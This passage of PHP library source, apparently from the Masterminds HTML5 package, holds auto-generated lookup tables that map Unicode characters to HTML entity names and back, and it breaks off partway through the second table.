        '⤍' => '&bkarow;',
        '⤎' => '&lBarr;',
        '⤏' => '&dbkarow;',
        '⤐' => '&drbkarow;',
        '⤑' => '&DDotrahd;',
        '⤒' => '&UpArrowBar;',
        '⤓' => '&DownArrowBar;',
        '⤖' => '&Rarrtl;',
        '⤙' => '&latail;',
        '⤚' => '&ratail;',
        '⤛' => '&lAtail;',
        '⤜' => '&rAtail;',
        '⤝' => '&larrfs;',
        '⤞' => '&rarrfs;',
        '⤟' => '&larrbfs;',
        '⤠' => '&rarrbfs;',
        '⤣' => '&nwarhk;',
        '⤤' => '&nearhk;',
        '⤥' => '&searhk;',
        '⤦' => '&swarhk;',
        '⤧' => '&nwnear;',
        '⤨' => '&toea;',
        '⤩' => '&seswar;',
        '⤪' => '&swnwar;',
        '⤳' => '&rarrc;',
        '⤳̸' => '&nrarrc',
        '⤵' => '&cudarrr;',
        '⤶' => '&ldca;',
        '⤷' => '&rdca;',
        '⤸' => '&cudarrl;',
        '⤹' => '&larrpl;',
        '⤼' => '&curarrm;',
        '⤽' => '&cularrp;',
        '⥅' => '&rarrpl;',
        '⥈' => '&harrcir;',
        '⥉' => '&Uarrocir;',
        '⥊' => '&lurdshar;',
        '⥋' => '&ldrushar;',
        '⥎' => '&LeftRightVector;',
        '⥏' => '&RightUpDownVector;',
        '⥐' => '&DownLeftRightVector;',
        '⥑' => '&LeftUpDownVector;',
        '⥒' => '&LeftVectorBar;',
        '⥓' => '&RightVectorBar;',
        '⥔' => '&RightUpVectorBar;',
        '⥕' => '&RightDownVectorBar;',
        '⥖' => '&DownLeftVectorBar;',
        '⥗' => '&DownRightVectorBar;',
        '⥘' => '&LeftUpVectorBar;',
        '⥙' => '&LeftDownVectorBar;',
        '⥚' => '&LeftTeeVector;',
        '⥛' => '&RightTeeVector;',
        '⥜' => '&RightUpTeeVector;',
        '⥝' => '&RightDownTeeVector;',
        '⥞' => '&DownLeftTeeVector;',
        '⥟' => '&DownRightTeeVector;',
        '⥠' => '&LeftUpTeeVector;',
        '⥡' => '&LeftDownTeeVector;',
        '⥢' => '&lHar;',
        '⥣' => '&uHar;',
        '⥤' => '&rHar;',
        '⥥' => '&dHar;',
        '⥦' => '&luruhar;',
        '⥧' => '&ldrdhar;',
        '⥨' => '&ruluhar;',
        '⥩' => '&rdldhar;',
        '⥪' => '&lharul;',
        '⥫' => '&llhard;',
        '⥬' => '&rharul;',
        '⥭' => '&lrhard;',
        '⥮' => '&udhar;',
        '⥯' => '&ReverseUpEquilibrium;',
        '⥰' => '&RoundImplies;',
        '⥱' => '&erarr;',
        '⥲' => '&simrarr;',
        '⥳' => '&larrsim;',
        '⥴' => '&rarrsim;',
        '⥵' => '&rarrap;',
        '⥶' => '&ltlarr;',
        '⥸' => '&gtrarr;',
        '⥹' => '&subrarr;',
        '⥻' => '&suplarr;',
        '⥼' => '&lfisht;',
        '⥽' => '&rfisht;',
        '⥾' => '&ufisht;',
        '⥿' => '&dfisht;',
        '⦅' => '&lopar;',
        '⦆' => '&ropar;',
        '⦋' => '&lbrke;',
        '⦌' => '&rbrke;',
        '⦍' => '&lbrkslu;',
        '⦎' => '&rbrksld;',
        '⦏' => '&lbrksld;',
        '⦐' => '&rbrkslu;',
        '⦑' => '&langd;',
        '⦒' => '&rangd;',
        '⦓' => '&lparlt;',
        '⦔' => '&rpargt;',
        '⦕' => '&gtlPar;',
        '⦖' => '&ltrPar;',
        '⦚' => '&vzigzag;',
        '⦜' => '&vangrt;',
        '⦝' => '&angrtvbd;',
        '⦤' => '&ange;',
        '⦥' => '&range;',
        '⦦' => '&dwangle;',
        '⦧' => '&uwangle;',
        '⦨' => '&angmsdaa;',
        '⦩' => '&angmsdab;',
        '⦪' => '&angmsdac;',
        '⦫' => '&angmsdad;',
        '⦬' => '&angmsdae;',
        '⦭' => '&angmsdaf;',
        '⦮' => '&angmsdag;',
        '⦯' => '&angmsdah;',
        '⦰' => '&bemptyv;',
        '⦱' => '&demptyv;',
        '⦲' => '&cemptyv;',
        '⦳' => '&raemptyv;',
        '⦴' => '&laemptyv;',
        '⦵' => '&ohbar;',
        '⦶' => '&omid;',
        '⦷' => '&opar;',
        '⦹' => '&operp;',
        '⦻' => '&olcross;',
        '⦼' => '&odsold;',
        '⦾' => '&olcir;',
        '⦿' => '&ofcir;',
        '⧀' => '&olt;',
        '⧁' => '&ogt;',
        '⧂' => '&cirscir;',
        '⧃' => '&cirE;',
        '⧄' => '&solb;',
        '⧅' => '&bsolb;',
        '⧉' => '&boxbox;',
        '⧍' => '&trisb;',
        '⧎' => '&rtriltri;',
        '⧏' => '&LeftTriangleBar;',
        '⧏̸' => '&NotLeftTriangleBar',
        '⧐' => '&RightTriangleBar;',
        '⧐̸' => '&NotRightTriangleBar',
        '⧜' => '&iinfin;',
        '⧝' => '&infintie;',
        '⧞' => '&nvinfin;',
        '⧣' => '&eparsl;',
        '⧤' => '&smeparsl;',
        '⧥' => '&eqvparsl;',
        '⧫' => '&lozf;',
        '⧴' => '&RuleDelayed;',
        '⧶' => '&dsol;',
        '⨀' => '&xodot;',
        '⨁' => '&bigoplus;',
        '⨂' => '&bigotimes;',
        '⨄' => '&biguplus;',
        '⨆' => '&bigsqcup;',
        '⨌' => '&iiiint;',
        '⨍' => '&fpartint;',
        '⨐' => '&cirfnint;',
        '⨑' => '&awint;',
        '⨒' => '&rppolint;',
        '⨓' => '&scpolint;',
        '⨔' => '&npolint;',
        '⨕' => '&pointint;',
        '⨖' => '&quatint;',
        '⨗' => '&intlarhk;',
        '⨢' => '&pluscir;',
        '⨣' => '&plusacir;',
        '⨤' => '&simplus;',
        '⨥' => '&plusdu;',
        '⨦' => '&plussim;',
        '⨧' => '&plustwo;',
        '⨩' => '&mcomma;',
        '⨪' => '&minusdu;',
        '⨭' => '&loplus;',
        '⨮' => '&roplus;',
        '⨯' => '&Cross;',
        '⨰' => '&timesd;',
        '⨱' => '&timesbar;',
        '⨳' => '&smashp;',
        '⨴' => '&lotimes;',
        '⨵' => '&rotimes;',
        '⨶' => '&otimesas;',
        '⨷' => '&Otimes;',
        '⨸' => '&odiv;',
        '⨹' => '&triplus;',
        '⨺' => '&triminus;',
        '⨻' => '&tritime;',
        '⨼' => '&iprod;',
        '⨿' => '&amalg;',
        '⩀' => '&capdot;',
        '⩂' => '&ncup;',
        '⩃' => '&ncap;',
        '⩄' => '&capand;',
        '⩅' => '&cupor;',
        '⩆' => '&cupcap;',
        '⩇' => '&capcup;',
        '⩈' => '&cupbrcap;',
        '⩉' => '&capbrcup;',
        '⩊' => '&cupcup;',
        '⩋' => '&capcap;',
        '⩌' => '&ccups;',
        '⩍' => '&ccaps;',
        '⩐' => '&ccupssm;',
        '⩓' => '&And;',
        '⩔' => '&Or;',
        '⩕' => '&andand;',
        '⩖' => '&oror;',
        '⩗' => '&orslope;',
        '⩘' => '&andslope;',
        '⩚' => '&andv;',
        '⩛' => '&orv;',
        '⩜' => '&andd;',
        '⩝' => '&ord;',
        '⩟' => '&wedbar;',
        '⩦' => '&sdote;',
        '⩪' => '&simdot;',
        '⩭' => '&congdot;',
        '⩭̸' => '&ncongdot',
        '⩮' => '&easter;',
        '⩯' => '&apacir;',
        '⩰' => '&apE;',
        '⩰̸' => '&napE',
        '⩱' => '&eplus;',
        '⩲' => '&pluse;',
        '⩳' => '&Esim;',
        '⩴' => '&Colone;',
        '⩵' => '&Equal;',
        '⩷' => '&ddotseq;',
        '⩸' => '&equivDD;',
        '⩹' => '&ltcir;',
        '⩺' => '&gtcir;',
        '⩻' => '&ltquest;',
        '⩼' => '&gtquest;',
        '⩽' => '&les;',
        '⩽̸' => '&nles',
        '⩾' => '&ges;',
        '⩾̸' => '&nges',
        '⩿' => '&lesdot;',
        '⪀' => '&gesdot;',
        '⪁' => '&lesdoto;',
        '⪂' => '&gesdoto;',
        '⪃' => '&lesdotor;',
        '⪄' => '&gesdotol;',
        '⪅' => '&lap;',
        '⪆' => '&gap;',
        '⪇' => '&lne;',
        '⪈' => '&gne;',
        '⪉' => '&lnap;',
        '⪊' => '&gnap;',
        '⪋' => '&lesseqqgtr;',
        '⪌' => '&gEl;',
        '⪍' => '&lsime;',
        '⪎' => '&gsime;',
        '⪏' => '&lsimg;',
        '⪐' => '&gsiml;',
        '⪑' => '&lgE;',
        '⪒' => '&glE;',
        '⪓' => '&lesges;',
        '⪔' => '&gesles;',
        '⪕' => '&els;',
        '⪖' => '&egs;',
        '⪗' => '&elsdot;',
        '⪘' => '&egsdot;',
        '⪙' => '&el;',
        '⪚' => '&eg;',
        '⪝' => '&siml;',
        '⪞' => '&simg;',
        '⪟' => '&simlE;',
        '⪠' => '&simgE;',
        '⪡' => '&LessLess;',
        '⪡̸' => '&NotNestedLessLess',
        '⪢' => '&GreaterGreater;',
        '⪢̸' => '&NotNestedGreaterGreater',
        '⪤' => '&glj;',
        '⪥' => '&gla;',
        '⪦' => '&ltcc;',
        '⪧' => '&gtcc;',
        '⪨' => '&lescc;',
        '⪩' => '&gescc;',
        '⪪' => '&smt;',
        '⪫' => '&lat;',
        '⪬' => '&smte;',
        '⪬︀' => '&smtes',
        '⪭' => '&late;',
        '⪭︀' => '&lates',
        '⪮' => '&bumpE;',
        '⪯' => '&preceq;',
        '⪯̸' => '&NotPrecedesEqual',
        '⪰' => '&SucceedsEqual;',
        '⪰̸' => '&NotSucceedsEqual',
        '⪳' => '&prE;',
        '⪴' => '&scE;',
        '⪵' => '&precneqq;',
        '⪶' => '&scnE;',
        '⪷' => '&precapprox;',
        '⪸' => '&succapprox;',
        '⪹' => '&precnapprox;',
        '⪺' => '&succnapprox;',
        '⪻' => '&Pr;',
        '⪼' => '&Sc;',
        '⪽' => '&subdot;',
        '⪾' => '&supdot;',
        '⪿' => '&subplus;',
        '⫀' => '&supplus;',
        '⫁' => '&submult;',
        '⫂' => '&supmult;',
        '⫃' => '&subedot;',
        '⫄' => '&supedot;',
        '⫅' => '&subE;',
        '⫅̸' => '&nsubE',
        '⫆' => '&supseteqq;',
        '⫆̸' => '&nsupseteqq',
        '⫇' => '&subsim;',
        '⫈' => '&supsim;',
        '⫋' => '&subsetneqq;',
        '⫋︀' => '&vsubnE',
        '⫌' => '&supnE;',
        '⫌︀' => '&varsupsetneqq',
        '⫏' => '&csub;',
        '⫐' => '&csup;',
        '⫑' => '&csube;',
        '⫒' => '&csupe;',
        '⫓' => '&subsup;',
        '⫔' => '&supsub;',
        '⫕' => '&subsub;',
        '⫖' => '&supsup;',
        '⫗' => '&suphsub;',
        '⫘' => '&supdsub;',
        '⫙' => '&forkv;',
        '⫚' => '&topfork;',
        '⫛' => '&mlcp;',
        '⫤' => '&Dashv;',
        '⫦' => '&Vdashl;',
        '⫧' => '&Barv;',
        '⫨' => '&vBar;',
        '⫩' => '&vBarv;',
        '⫫' => '&Vbar;',
        '⫬' => '&Not;',
        '⫭' => '&bNot;',
        '⫮' => '&rnmid;',
        '⫯' => '&cirmid;',
        '⫰' => '&midcir;',
        '⫱' => '&topcir;',
        '⫲' => '&nhpar;',
        '⫳' => '&parsim;',
        '⫽︀' => '&varsupsetneqq',
        'ff' => '&fflig;',
        'fi' => '&filig;',
        'fl' => '&fllig;',
        'ffi' => '&ffilig;',
        'ffl' => '&ffllig;',
        '𝒜' => '&Ascr;',
        '𝒞' => '&Cscr;',
        '𝒟' => '&Dscr;',
        '𝒢' => '&Gscr;',
        '𝒥' => '&Jscr;',
        '𝒦' => '&Kscr;',
        '𝒩' => '&Nscr;',
        '𝒪' => '&Oscr;',
        '𝒫' => '&Pscr;',
        '𝒬' => '&Qscr;',
        '𝒮' => '&Sscr;',
        '𝒯' => '&Tscr;',
        '𝒰' => '&Uscr;',
        '𝒱' => '&Vscr;',
        '𝒲' => '&Wscr;',
        '𝒳' => '&Xscr;',
        '𝒴' => '&Yscr;',
        '𝒵' => '&Zscr;',
        '𝒶' => '&ascr;',
        '𝒷' => '&bscr;',
        '𝒸' => '&cscr;',
        '𝒹' => '&dscr;',
        '𝒻' => '&fscr;',
        '𝒽' => '&hscr;',
        '𝒾' => '&iscr;',
        '𝒿' => '&jscr;',
        '𝓀' => '&kscr;',
        '𝓁' => '&lscr;',
        '𝓂' => '&mscr;',
        '𝓃' => '&nscr;',
        '𝓅' => '&pscr;',
        '𝓆' => '&qscr;',
        '𝓇' => '&rscr;',
        '𝓈' => '&sscr;',
        '𝓉' => '&tscr;',
        '𝓊' => '&uscr;',
        '𝓋' => '&vscr;',
        '𝓌' => '&wscr;',
        '𝓍' => '&xscr;',
        '𝓎' => '&yscr;',
        '𝓏' => '&zscr;',
        '𝔄' => '&Afr;',
        '𝔅' => '&Bfr;',
        '𝔇' => '&Dfr;',
        '𝔈' => '&Efr;',
        '𝔉' => '&Ffr;',
        '𝔊' => '&Gfr;',
        '𝔍' => '&Jfr;',
        '𝔎' => '&Kfr;',
        '𝔏' => '&Lfr;',
        '𝔐' => '&Mfr;',
        '𝔑' => '&Nfr;',
        '𝔒' => '&Ofr;',
        '𝔓' => '&Pfr;',
        '𝔔' => '&Qfr;',
        '𝔖' => '&Sfr;',
        '𝔗' => '&Tfr;',
        '𝔘' => '&Ufr;',
        '𝔙' => '&Vfr;',
        '𝔚' => '&Wfr;',
        '𝔛' => '&Xfr;',
        '𝔜' => '&Yfr;',
        '𝔞' => '&afr;',
        '𝔟' => '&bfr;',
        '𝔠' => '&cfr;',
        '𝔡' => '&dfr;',
        '𝔢' => '&efr;',
        '𝔣' => '&ffr;',
        '𝔤' => '&gfr;',
        '𝔥' => '&hfr;',
        '𝔦' => '&ifr;',
        '𝔧' => '&jfr;',
        '𝔨' => '&kfr;',
        '𝔩' => '&lfr;',
        '𝔪' => '&mfr;',
        '𝔫' => '&nfr;',
        '𝔬' => '&ofr;',
        '𝔭' => '&pfr;',
        '𝔮' => '&qfr;',
        '𝔯' => '&rfr;',
        '𝔰' => '&sfr;',
        '𝔱' => '&tfr;',
        '𝔲' => '&ufr;',
        '𝔳' => '&vfr;',
        '𝔴' => '&wfr;',
        '𝔵' => '&xfr;',
        '𝔶' => '&yfr;',
        '𝔷' => '&zfr;',
        '𝔸' => '&Aopf;',
        '𝔹' => '&Bopf;',
        '𝔻' => '&Dopf;',
        '𝔼' => '&Eopf;',
        '𝔽' => '&Fopf;',
        '𝔾' => '&Gopf;',
        '𝕀' => '&Iopf;',
        '𝕁' => '&Jopf;',
        '𝕂' => '&Kopf;',
        '𝕃' => '&Lopf;',
        '𝕄' => '&Mopf;',
        '𝕆' => '&Oopf;',
        '𝕊' => '&Sopf;',
        '𝕋' => '&Topf;',
        '𝕌' => '&Uopf;',
        '𝕍' => '&Vopf;',
        '𝕎' => '&Wopf;',
        '𝕏' => '&Xopf;',
        '𝕐' => '&Yopf;',
        '𝕒' => '&aopf;',
        '𝕓' => '&bopf;',
        '𝕔' => '&copf;',
        '𝕕' => '&dopf;',
        '𝕖' => '&eopf;',
        '𝕗' => '&fopf;',
        '𝕘' => '&gopf;',
        '𝕙' => '&hopf;',
        '𝕚' => '&iopf;',
        '𝕛' => '&jopf;',
        '𝕜' => '&kopf;',
        '𝕝' => '&lopf;',
        '𝕞' => '&mopf;',
        '𝕟' => '&nopf;',
        '𝕠' => '&oopf;',
        '𝕡' => '&popf;',
        '𝕢' => '&qopf;',
        '𝕣' => '&ropf;',
        '𝕤' => '&sopf;',
        '𝕥' => '&topf;',
        '𝕦' => '&uopf;',
        '𝕧' => '&vopf;',
        '𝕨' => '&wopf;',
        '𝕩' => '&xopf;',
        '𝕪' => '&yopf;',
        '𝕫' => '&zopf;',
    );
}
vendor/masterminds/html5/src/HTML5/Entities.php000066600000167023151150442750015356 0ustar00<?php

namespace Masterminds\HTML5;

/**
 * Entity lookup tables.
 * This class is automatically generated.
 */
class Entities
{
    public static $byName = array(
        'Aacute' => 'Á',
        'Aacut' => 'Á',
        'aacute' => 'á',
        'aacut' => 'á',
        'Abreve' => 'Ă',
        'abreve' => 'ă',
        'ac' => '∾',
        'acd' => '∿',
        'acE' => '∾̳',
        'Acirc' => 'Â',
        'Acir' => 'Â',
        'acirc' => 'â',
        'acir' => 'â',
        'acute' => '´',
        'acut' => '´',
        'Acy' => 'А',
        'acy' => 'а',
        'AElig' => 'Æ',
        'AEli' => 'Æ',
        'aelig' => 'æ',
        'aeli' => 'æ',
        'af' => '⁡',
        'Afr' => '𝔄',
        'afr' => '𝔞',
        'Agrave' => 'À',
        'Agrav' => 'À',
        'agrave' => 'à',
        'agrav' => 'à',
        'alefsym' => 'ℵ',
        'aleph' => 'ℵ',
        'Alpha' => 'Α',
        'alpha' => 'α',
        'Amacr' => 'Ā',
        'amacr' => 'ā',
        'amalg' => '⨿',
        'AMP' => '&',
        'AM' => '&',
        'amp' => '&',
        'am' => '&',
        'And' => '⩓',
        'and' => '∧',
        'andand' => '⩕',
        'andd' => '⩜',
        'andslope' => '⩘',
        'andv' => '⩚',
        'ang' => '∠',
        'ange' => '⦤',
        'angle' => '∠',
        'angmsd' => '∡',
        'angmsdaa' => '⦨',
        'angmsdab' => '⦩',
        'angmsdac' => '⦪',
        'angmsdad' => '⦫',
        'angmsdae' => '⦬',
        'angmsdaf' => '⦭',
        'angmsdag' => '⦮',
        'angmsdah' => '⦯',
        'angrt' => '∟',
        'angrtvb' => '⊾',
        'angrtvbd' => '⦝',
        'angsph' => '∢',
        'angst' => 'Å',
        'angzarr' => '⍼',
        'Aogon' => 'Ą',
        'aogon' => 'ą',
        'Aopf' => '𝔸',
        'aopf' => '𝕒',
        'ap' => '≈',
        'apacir' => '⩯',
        'apE' => '⩰',
        'ape' => '≊',
        'apid' => '≋',
        'apos' => '\'',
        'ApplyFunction' => '⁡',
        'approx' => '≈',
        'approxeq' => '≊',
        'Aring' => 'Å',
        'Arin' => 'Å',
        'aring' => 'å',
        'arin' => 'å',
        'Ascr' => '𝒜',
        'ascr' => '𝒶',
        'Assign' => '≔',
        'ast' => '*',
        'asymp' => '≈',
        'asympeq' => '≍',
        'Atilde' => 'Ã',
        'Atild' => 'Ã',
        'atilde' => 'ã',
        'atild' => 'ã',
        'Auml' => 'Ä',
        'Aum' => 'Ä',
        'auml' => 'ä',
        'aum' => 'ä',
        'awconint' => '∳',
        'awint' => '⨑',
        'backcong' => '≌',
        'backepsilon' => '϶',
        'backprime' => '‵',
        'backsim' => '∽',
        'backsimeq' => '⋍',
        'Backslash' => '∖',
        'Barv' => '⫧',
        'barvee' => '⊽',
        'Barwed' => '⌆',
        'barwed' => '⌅',
        'barwedge' => '⌅',
        'bbrk' => '⎵',
        'bbrktbrk' => '⎶',
        'bcong' => '≌',
        'Bcy' => 'Б',
        'bcy' => 'б',
        'bdquo' => '„',
        'becaus' => '∵',
        'Because' => '∵',
        'because' => '∵',
        'bemptyv' => '⦰',
        'bepsi' => '϶',
        'bernou' => 'ℬ',
        'Bernoullis' => 'ℬ',
        'Beta' => 'Β',
        'beta' => 'β',
        'beth' => 'ℶ',
        'between' => '≬',
        'Bfr' => '𝔅',
        'bfr' => '𝔟',
        'bigcap' => '⋂',
        'bigcirc' => '◯',
        'bigcup' => '⋃',
        'bigodot' => '⨀',
        'bigoplus' => '⨁',
        'bigotimes' => '⨂',
        'bigsqcup' => '⨆',
        'bigstar' => '★',
        'bigtriangledown' => '▽',
        'bigtriangleup' => '△',
        'biguplus' => '⨄',
        'bigvee' => '⋁',
        'bigwedge' => '⋀',
        'bkarow' => '⤍',
        'blacklozenge' => '⧫',
        'blacksquare' => '▪',
        'blacktriangle' => '▴',
        'blacktriangledown' => '▾',
        'blacktriangleleft' => '◂',
        'blacktriangleright' => '▸',
        'blank' => '␣',
        'blk12' => '▒',
        'blk14' => '░',
        'blk34' => '▓',
        'block' => '█',
        'bne' => '=⃥',
        'bnequiv' => '≡⃥',
        'bNot' => '⫭',
        'bnot' => '⌐',
        'Bopf' => '𝔹',
        'bopf' => '𝕓',
        'bot' => '⊥',
        'bottom' => '⊥',
        'bowtie' => '⋈',
        'boxbox' => '⧉',
        'boxDL' => '╗',
        'boxDl' => '╖',
        'boxdL' => '╕',
        'boxdl' => '┐',
        'boxDR' => '╔',
        'boxDr' => '╓',
        'boxdR' => '╒',
        'boxdr' => '┌',
        'boxH' => '═',
        'boxh' => '─',
        'boxHD' => '╦',
        'boxHd' => '╤',
        'boxhD' => '╥',
        'boxhd' => '┬',
        'boxHU' => '╩',
        'boxHu' => '╧',
        'boxhU' => '╨',
        'boxhu' => '┴',
        'boxminus' => '⊟',
        'boxplus' => '⊞',
        'boxtimes' => '⊠',
        'boxUL' => '╝',
        'boxUl' => '╜',
        'boxuL' => '╛',
        'boxul' => '┘',
        'boxUR' => '╚',
        'boxUr' => '╙',
        'boxuR' => '╘',
        'boxur' => '└',
        'boxV' => '║',
        'boxv' => '│',
        'boxVH' => '╬',
        'boxVh' => '╫',
        'boxvH' => '╪',
        'boxvh' => '┼',
        'boxVL' => '╣',
        'boxVl' => '╢',
        'boxvL' => '╡',
        'boxvl' => '┤',
        'boxVR' => '╠',
        'boxVr' => '╟',
        'boxvR' => '╞',
        'boxvr' => '├',
        'bprime' => '‵',
        'Breve' => '˘',
        'breve' => '˘',
        'brvbar' => '¦',
        'brvba' => '¦',
        'Bscr' => 'ℬ',
        'bscr' => '𝒷',
        'bsemi' => '⁏',
        'bsim' => '∽',
        'bsime' => '⋍',
        'bsol' => '\\',
        'bsolb' => '⧅',
        'bsolhsub' => '⟈',
        'bull' => '•',
        'bullet' => '•',
        'bump' => '≎',
        'bumpE' => '⪮',
        'bumpe' => '≏',
        'Bumpeq' => '≎',
        'bumpeq' => '≏',
        'Cacute' => 'Ć',
        'cacute' => 'ć',
        'Cap' => '⋒',
        'cap' => '∩',
        'capand' => '⩄',
        'capbrcup' => '⩉',
        'capcap' => '⩋',
        'capcup' => '⩇',
        'capdot' => '⩀',
        'CapitalDifferentialD' => 'ⅅ',
        'caps' => '∩︀',
        'caret' => '⁁',
        'caron' => 'ˇ',
        'Cayleys' => 'ℭ',
        'ccaps' => '⩍',
        'Ccaron' => 'Č',
        'ccaron' => 'č',
        'Ccedil' => 'Ç',
        'Ccedi' => 'Ç',
        'ccedil' => 'ç',
        'ccedi' => 'ç',
        'Ccirc' => 'Ĉ',
        'ccirc' => 'ĉ',
        'Cconint' => '∰',
        'ccups' => '⩌',
        'ccupssm' => '⩐',
        'Cdot' => 'Ċ',
        'cdot' => 'ċ',
        'cedil' => '¸',
        'cedi' => '¸',
        'Cedilla' => '¸',
        'cemptyv' => '⦲',
        'cent' => '¢',
        'cen' => '¢',
        'CenterDot' => '·',
        'centerdot' => '·',
        'Cfr' => 'ℭ',
        'cfr' => '𝔠',
        'CHcy' => 'Ч',
        'chcy' => 'ч',
        'check' => '✓',
        'checkmark' => '✓',
        'Chi' => 'Χ',
        'chi' => 'χ',
        'cir' => '○',
        'circ' => 'ˆ',
        'circeq' => '≗',
        'circlearrowleft' => '↺',
        'circlearrowright' => '↻',
        'circledast' => '⊛',
        'circledcirc' => '⊚',
        'circleddash' => '⊝',
        'CircleDot' => '⊙',
        'circledR' => '®',
        'circledS' => 'Ⓢ',
        'CircleMinus' => '⊖',
        'CirclePlus' => '⊕',
        'CircleTimes' => '⊗',
        'cirE' => '⧃',
        'cire' => '≗',
        'cirfnint' => '⨐',
        'cirmid' => '⫯',
        'cirscir' => '⧂',
        'ClockwiseContourIntegral' => '∲',
        'CloseCurlyDoubleQuote' => '”',
        'CloseCurlyQuote' => '’',
        'clubs' => '♣',
        'clubsuit' => '♣',
        'Colon' => '∷',
        'colon' => ':',
        'Colone' => '⩴',
        'colone' => '≔',
        'coloneq' => '≔',
        'comma' => ',',
        'commat' => '@',
        'comp' => '∁',
        'compfn' => '∘',
        'complement' => '∁',
        'complexes' => 'ℂ',
        'cong' => '≅',
        'congdot' => '⩭',
        'Congruent' => '≡',
        'Conint' => '∯',
        'conint' => '∮',
        'ContourIntegral' => '∮',
        'Copf' => 'ℂ',
        'copf' => '𝕔',
        'coprod' => '∐',
        'Coproduct' => '∐',
        'COPY' => '©',
        'COP' => '©',
        'copy' => '©',
        'cop' => '©',
        'copysr' => '℗',
        'CounterClockwiseContourIntegral' => '∳',
        'crarr' => '↵',
        'Cross' => '⨯',
        'cross' => '✗',
        'Cscr' => '𝒞',
        'cscr' => '𝒸',
        'csub' => '⫏',
        'csube' => '⫑',
        'csup' => '⫐',
        'csupe' => '⫒',
        'ctdot' => '⋯',
        'cudarrl' => '⤸',
        'cudarrr' => '⤵',
        'cuepr' => '⋞',
        'cuesc' => '⋟',
        'cularr' => '↶',
        'cularrp' => '⤽',
        'Cup' => '⋓',
        'cup' => '∪',
        'cupbrcap' => '⩈',
        'CupCap' => '≍',
        'cupcap' => '⩆',
        'cupcup' => '⩊',
        'cupdot' => '⊍',
        'cupor' => '⩅',
        'cups' => '∪︀',
        'curarr' => '↷',
        'curarrm' => '⤼',
        'curlyeqprec' => '⋞',
        'curlyeqsucc' => '⋟',
        'curlyvee' => '⋎',
        'curlywedge' => '⋏',
        'curren' => '¤',
        'curre' => '¤',
        'curvearrowleft' => '↶',
        'curvearrowright' => '↷',
        'cuvee' => '⋎',
        'cuwed' => '⋏',
        'cwconint' => '∲',
        'cwint' => '∱',
        'cylcty' => '⌭',
        'Dagger' => '‡',
        'dagger' => '†',
        'daleth' => 'ℸ',
        'Darr' => '↡',
        'dArr' => '⇓',
        'darr' => '↓',
        'dash' => '‐',
        'Dashv' => '⫤',
        'dashv' => '⊣',
        'dbkarow' => '⤏',
        'dblac' => '˝',
        'Dcaron' => 'Ď',
        'dcaron' => 'ď',
        'Dcy' => 'Д',
        'dcy' => 'д',
        'DD' => 'ⅅ',
        'dd' => 'ⅆ',
        'ddagger' => '‡',
        'ddarr' => '⇊',
        'DDotrahd' => '⤑',
        'ddotseq' => '⩷',
        'deg' => '°',
        'de' => '°',
        'Del' => '∇',
        'Delta' => 'Δ',
        'delta' => 'δ',
        'demptyv' => '⦱',
        'dfisht' => '⥿',
        'Dfr' => '𝔇',
        'dfr' => '𝔡',
        'dHar' => '⥥',
        'dharl' => '⇃',
        'dharr' => '⇂',
        'DiacriticalAcute' => '´',
        'DiacriticalDot' => '˙',
        'DiacriticalDoubleAcute' => '˝',
        'DiacriticalGrave' => '`',
        'DiacriticalTilde' => '˜',
        'diam' => '⋄',
        'Diamond' => '⋄',
        'diamond' => '⋄',
        'diamondsuit' => '♦',
        'diams' => '♦',
        'die' => '¨',
        'DifferentialD' => 'ⅆ',
        'digamma' => 'ϝ',
        'disin' => '⋲',
        'div' => '÷',
        'divide' => '÷',
        'divid' => '÷',
        'divideontimes' => '⋇',
        'divonx' => '⋇',
        'DJcy' => 'Ђ',
        'djcy' => 'ђ',
        'dlcorn' => '⌞',
        'dlcrop' => '⌍',
        'dollar' => '$',
        'Dopf' => '𝔻',
        'dopf' => '𝕕',
        'Dot' => '¨',
        'dot' => '˙',
        'DotDot' => '⃜',
        'doteq' => '≐',
        'doteqdot' => '≑',
        'DotEqual' => '≐',
        'dotminus' => '∸',
        'dotplus' => '∔',
        'dotsquare' => '⊡',
        'doublebarwedge' => '⌆',
        'DoubleContourIntegral' => '∯',
        'DoubleDot' => '¨',
        'DoubleDownArrow' => '⇓',
        'DoubleLeftArrow' => '⇐',
        'DoubleLeftRightArrow' => '⇔',
        'DoubleLeftTee' => '⫤',
        'DoubleLongLeftArrow' => '⟸',
        'DoubleLongLeftRightArrow' => '⟺',
        'DoubleLongRightArrow' => '⟹',
        'DoubleRightArrow' => '⇒',
        'DoubleRightTee' => '⊨',
        'DoubleUpArrow' => '⇑',
        'DoubleUpDownArrow' => '⇕',
        'DoubleVerticalBar' => '∥',
        'DownArrow' => '↓',
        'Downarrow' => '⇓',
        'downarrow' => '↓',
        'DownArrowBar' => '⤓',
        'DownArrowUpArrow' => '⇵',
        'DownBreve' => '̑',
        'downdownarrows' => '⇊',
        'downharpoonleft' => '⇃',
        'downharpoonright' => '⇂',
        'DownLeftRightVector' => '⥐',
        'DownLeftTeeVector' => '⥞',
        'DownLeftVector' => '↽',
        'DownLeftVectorBar' => '⥖',
        'DownRightTeeVector' => '⥟',
        'DownRightVector' => '⇁',
        'DownRightVectorBar' => '⥗',
        'DownTee' => '⊤',
        'DownTeeArrow' => '↧',
        'drbkarow' => '⤐',
        'drcorn' => '⌟',
        'drcrop' => '⌌',
        'Dscr' => '𝒟',
        'dscr' => '𝒹',
        'DScy' => 'Ѕ',
        'dscy' => 'ѕ',
        'dsol' => '⧶',
        'Dstrok' => 'Đ',
        'dstrok' => 'đ',
        'dtdot' => '⋱',
        'dtri' => '▿',
        'dtrif' => '▾',
        'duarr' => '⇵',
        'duhar' => '⥯',
        'dwangle' => '⦦',
        'DZcy' => 'Џ',
        'dzcy' => 'џ',
        'dzigrarr' => '⟿',
        'Eacute' => 'É',
        'Eacut' => 'É',
        'eacute' => 'é',
        'eacut' => 'é',
        'easter' => '⩮',
        'Ecaron' => 'Ě',
        'ecaron' => 'ě',
        'ecir' => 'ê',
        'Ecirc' => 'Ê',
        'Ecir' => 'Ê',
        'ecirc' => 'ê',
        'ecolon' => '≕',
        'Ecy' => 'Э',
        'ecy' => 'э',
        'eDDot' => '⩷',
        'Edot' => 'Ė',
        'eDot' => '≑',
        'edot' => 'ė',
        'ee' => 'ⅇ',
        'efDot' => '≒',
        'Efr' => '𝔈',
        'efr' => '𝔢',
        'eg' => '⪚',
        'Egrave' => 'È',
        'Egrav' => 'È',
        'egrave' => 'è',
        'egrav' => 'è',
        'egs' => '⪖',
        'egsdot' => '⪘',
        'el' => '⪙',
        'Element' => '∈',
        'elinters' => '⏧',
        'ell' => 'ℓ',
        'els' => '⪕',
        'elsdot' => '⪗',
